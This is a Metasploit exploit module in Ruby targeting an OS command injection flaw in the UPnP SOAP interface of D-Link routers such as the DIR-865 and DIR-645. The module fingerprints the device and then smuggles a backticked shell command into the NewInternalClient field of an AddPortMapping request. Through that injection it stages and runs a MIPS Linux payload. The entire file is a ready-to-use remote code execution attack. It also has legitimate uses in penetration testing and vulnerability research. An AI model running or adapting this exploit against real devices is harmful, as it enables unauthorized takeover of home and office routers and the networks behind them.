##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'D-Link Devices UPnP SOAP Command Execution',
      'Description' => %q{
        Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
        interface. Since it is a blind OS command injection vulnerability, there is no
        output for the executed command. This module has been tested on DIR-865 and DIR-645 devices.
      },
      'Author'      =>
        [
          'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['OSVDB', '94924'],
          ['BID', '61005'],
          ['EDB', '26664'],
          ['URL', 'http://www.s3cur1ty.de/m1adv2013-020']
        ],
      'DisclosureDate' => 'Jul 05 2013',
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets' =>
        [
          [ 'MIPS Little Endian',
            {
              'Platform' => 'linux',
              'Arch'     => ARCH_MIPSLE
            }
          ],
          [ 'MIPS Big Endian',  # unknown if there are BE devices out there ... but in case we have a target
            {
              'Platform' => 'linux',
              'Arch'     => ARCH_MIPSBE
            }
          ],
        ],
      'DefaultTarget'    => 0
      ))

      deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')

    register_options(
      [
        Opt::RPORT(49152) # port of UPnP SOAP webinterface
      ])
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => '/InternetGatewayDevice.xml'
      })
      if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /<modelNumber>DIR-/
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Unknown
  end

  def exploit
    print_status("Trying to access the device ...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
    end

    print_status("Exploiting...")

    execute_cmdstager(
      :flavor  => :echo,
      :linemax => 400
    )
  end

  def execute_command(cmd, opts)
    new_portmapping_descr = rand_text_alpha(8)
    new_external_port = rand(32767) + 32768
    new_internal_port = rand(32767) + 32768

    uri = '/soap.cgi'

    soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"

    data_cmd = "<?xml version=\"1.0\"?>"
    data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
    data_cmd << "<SOAP-ENV:Body>"
    data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
    data_cmd << "<NewPortMappingDescription>#{new_portmapping_descr}</NewPortMappingDescription>"
    data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
    data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
    data_cmd << "<NewEnabled>1</NewEnabled>"
    data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
    data_cmd << "<NewRemoteHost></NewRemoteHost>"
    data_cmd << "<NewProtocol>TCP</NewProtocol>"
    data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
    data_cmd << "</m:AddPortMapping>"
    data_cmd << "</SOAP-ENV:Body>"
    data_cmd << "</SOAP-ENV:Envelope>"

    begin
      res = send_request_cgi({
        'uri'    => uri,
        'vars_get' => {
          'service' => 'WANIPConn1'
        },
        'ctype' => "text/xml",
        'method' => 'POST',
        'headers' => {
          'SOAPAction' => soapaction,
          },
        'data' => data_cmd
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end
